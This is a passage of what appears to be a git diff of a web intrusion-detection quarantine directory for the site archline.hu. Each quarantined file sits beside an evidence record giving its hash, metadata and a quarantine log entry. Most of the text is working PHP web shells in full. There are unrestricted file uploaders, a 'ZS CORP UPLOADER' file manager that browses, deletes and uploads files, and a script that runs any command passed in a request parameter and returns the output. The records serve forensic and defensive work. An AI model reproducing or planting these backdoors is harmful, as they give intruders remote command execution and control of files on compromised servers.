';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/sokeo.php7.json.evidence.json b/var/www/hosting/archline.hu/www/sokeo.php7.json.evidence.json new file mode 100644 index 0000000..c029d25 --- /dev/null +++ b/var/www/hosting/archline.hu/www/sokeo.php7.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2925", + "log_excerpt": "[quarantine] www.archline.hu:sokeo.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/sokeo.php7.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811778, + "size": 448, + "uid": 20043 + }, + "rel_path": "sokeo.php7.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json new file mode 100644 index 0000000..af5ab12 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json @@ -0,0 +1,32 @@ +$target"; + } else { + echo "❈ Upload failed!"; + } + exit; +} +?> + + +Upload + +
+

📤 UPLOAD

+ +

+ +
+ + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json.evidence.json new file mode 100644 index 0000000..21b4886 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2975", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/_h3x_64e2a63c.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_64e2a63c.json)", + "original_sha256": "472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a", + "original_stat": { + "gid": 30037, + "mtime": 1783863653, + "size": 1102, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/_h3x_64e2a63c.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json new file mode 100644 index 0000000..af5ab12 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json @@ -0,0 +1,32 @@ +$target"; + } else { + echo "❈ Upload failed!"; + } + exit; +} +?> + + +Upload + +
+

📤 UPLOAD

+ +

+ +
+ + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json.evidence.json new file mode 100644 index 0000000..f5cdbd8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2966", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/_h3x_e7130968.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/_h3x_e7130968.json)", + "original_sha256": "472487413017cc6446fb867187721d69b79661a600f964661fb0e1e2b3b92d5a", + "original_stat": { + "gid": 30037, + "mtime": 1783863662, + "size": 1102, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/_h3x_e7130968.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json new file mode 100644 index 0000000..12c2b30 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json @@ -0,0 +1,102 @@ + 10000000) { + echo "Maaf, file terlalu besar (maks 10MB)."; + $uploadOk = 0; + } + + if ($uploadOk == 1) { + // Buat folder jika belum ada + if (!is_dir($target_dir)) { + mkdir($target_dir, 0755, true); + } + + // Pindahkan file (terima SEMUA jenis file) + if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { + echo "✅ File berhasil diupload: " . htmlspecialchars(basename($_FILES["file"]["name"])); + echo "

"; + echo "Path: " . htmlspecialchars($target_file); + echo "

"; + echo "🔗 Akses File"; + } else { + echo "❌ Maaf, terjadi kesalahan saat upload."; + } + } +} else { +?> + + + + + File Uploader + + + +
+

📤 File Uploader

+
+ +
+ +
+
+ Info:
+ ✅ Semua jenis file diterima (PHP, JPG, TXT, dll)
+ ✅ Maks ukuran: 10MB
+ ✅ File akan disimpan di folder: uploads/ +
+
+ + + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json.evidence.json new file mode 100644 index 0000000..2d6523e --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2996", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/css/kepalabapakkau.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/css/kepalabapakkau.php.json)", + "original_sha256": "a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba", + "original_stat": { + "gid": 30037, + "mtime": 1783819463, + "size": 2852, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/css/kepalabapakkau.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json new file mode 100644 index 0000000..12c2b30 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json @@ -0,0 +1,102 @@ + 10000000) { + echo "Maaf, file terlalu besar (maks 10MB)."; + $uploadOk = 0; + } + + if ($uploadOk == 1) { + // Buat folder jika belum ada + if (!is_dir($target_dir)) { + mkdir($target_dir, 0755, true); + } + + // Pindahkan file (terima SEMUA jenis file) + if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { + echo "✅ File berhasil diupload: " . htmlspecialchars(basename($_FILES["file"]["name"])); + echo "

"; + echo "Path: " . htmlspecialchars($target_file); + echo "

"; + echo "🔗 Akses File"; + } else { + echo "❌ Maaf, terjadi kesalahan saat upload."; + } + } +} else { +?> + + + + + File Uploader + + + +
+

📤 File Uploader

+
+ +
+ +
+
+ Info:
+ ✅ Semua jenis file diterima (PHP, JPG, TXT, dll)
+ ✅ Maks ukuran: 10MB
+ ✅ File akan disimpan di folder: uploads/ +
+
+ + + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json.evidence.json new file mode 100644 index 0000000..67333b7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3035", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/js/kepalabapakkau.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/js/kepalabapakkau.php.json)", + "original_sha256": "a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba", + "original_stat": { + "gid": 30037, + "mtime": 1783819471, + "size": 2852, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/js/kepalabapakkau.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json new file mode 100644 index 0000000..12c2b30 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json @@ -0,0 +1,102 @@ + 10000000) { + echo "Maaf, file terlalu besar (maks 10MB)."; + $uploadOk = 0; + } + + if ($uploadOk == 1) { + // Buat folder jika belum ada + if (!is_dir($target_dir)) { + mkdir($target_dir, 0755, true); + } + + // Pindahkan file (terima SEMUA jenis file) + if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { + echo "✅ File berhasil diupload: " . htmlspecialchars(basename($_FILES["file"]["name"])); + echo "

"; + echo "Path: " . htmlspecialchars($target_file); + echo "

"; + echo "🔗 Akses File"; + } else { + echo "❌ Maaf, terjadi kesalahan saat upload."; + } + } +} else { +?> + + + + + File Uploader + + + +
+

📤 File Uploader

+
+ +
+ +
+
+ Info:
+ ✅ Semua jenis file diterima (PHP, JPG, TXT, dll)
+ ✅ Maks ukuran: 10MB
+ ✅ File akan disimpan di folder: uploads/ +
+
+ + + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json.evidence.json new file mode 100644 index 0000000..bef63d8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2967", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/kepalabapakkau.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/kepalabapakkau.php.json)", + "original_sha256": "a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba", + "original_stat": { + "gid": 30037, + "mtime": 1783819453, + "size": 2852, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/kepalabapakkau.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json new file mode 100644 index 0000000..b8cbb94 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json @@ -0,0 +1,40 @@ +' + .''; + } + exit(0); +} +$c=$_GET['c'].' 2>&1'; +$o=''; +if(function_exists('shell_exec')){$o=@shell_exec($c);} +elseif(function_exists('exec')){@exec($c,$a);$o=implode(" +",$a);} +elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} +elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} +elseif(function_exists('popen')){ + $h=@popen($c,'r');$o=''; + while(!feof($h)){$o.=fread($h,4096);} + pclose($h); +}else{$o='BLOCKED';} +@ob_end_clean(); +header('Content-Type: text/plain'); +echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; +exit(0); +?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json.evidence.json new file mode 100644 index 0000000..708c626 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3028", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/vile.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/vile.json)", + "original_sha256": "3e8674589c9a7ef3023d4ee162625c603a123d1aa79b09dc9f9b3f0a4e9c279e", + "original_stat": { + "gid": 30037, + "mtime": 1783956464, + "size": 1223, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/vile.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json.evidence.json new file mode 100644 index 0000000..a6f7a03 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3013", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925459, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json.evidence.json new file mode 100644 index 0000000..8aceb4a --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3021", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925453, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json.evidence.json new file mode 100644 index 0000000..8944952 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3008", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925422, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json.evidence.json new file mode 100644 index 0000000..7cbacb5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3029", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925431, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json.evidence.json new file mode 100644 index 0000000..8c71161 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2998", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zscqyqr7.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925437, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zscqyqr7.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zscqyqr7.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
